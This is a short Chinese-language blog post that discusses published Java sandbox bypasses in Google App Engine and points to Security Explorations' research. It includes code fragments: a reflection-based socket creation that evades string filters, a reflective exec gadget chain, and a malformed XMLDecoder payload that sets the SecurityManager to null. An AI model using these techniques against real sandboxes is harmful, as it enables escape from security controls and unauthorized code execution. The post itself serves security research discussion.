时间:2014-12-9 作者:admin 分类: 技术交流
看到今天fd上GAE的java沙盒的绕过
http://seclists.org/fulldisclosure/2014/Dec/26
security-explorations 报告他们发现了30+ 的问题,poc写了17个 最后说没有测完。
真心牛X。
翻他们之前的papper,非常赞。 推荐之
http://www.security-explorations.com/materials/SE-2013-01-ORACLE.pdf
1.多种花样利用java的反射机制绕过沙盒。
Class c=Class.forName("java.net.Socket"); Class ctab[]=new Class[2]; ctab[0]=Class.forName("java.lang.String"); ctab[1]=Integer.TYPE; Constructor con=c.getConstructor(ctab); Object args[]=new Object[2]; args[0]=hostname; args[1]=new Integer(port); Object s=con.newInstance(args); Method geti=c.getMethod("getInputStream",new Class[0]); Method geto=c.getMethod("getOutputStream",new Class[0]); InputStream is=(InputStream)geti.invoke(s,new Object[0]); OutputStream os=(OutputStream)geto.invoke(s,new Object[0]);
没有直接 这样 回调xxxx.getClass().forName("xxx").getMethod("xxx",null).invoke(null,null).exec(xxxx) 【当然这个是静态回调 动态要实例化下】
而是用的类,方法,示例的引用 绕过沙盒这些敏感字符串的限制。
2. 未限制的特权方法
有多个,其中包括了之前 shine [link href="WooYun: SAE允许JVM内存对象直接读写操作"] sae绕过[/link]
提到的 sun.misc.Unsafe 特权类
还有些淫荡的方式
例如通过
java.beans.XMLDecoder的实例 解析xml 执行java的方法
<?xml version="1.0" encoding="UTF-8" ?> <java version="1.4.0" class="java.beans.XMLDecoder"> <void id="setsmres" class="java.lang.System" method="setSecurityManager" <null></null> </void>
先关联到权限域 然后 设置Security Manager 对象为NULL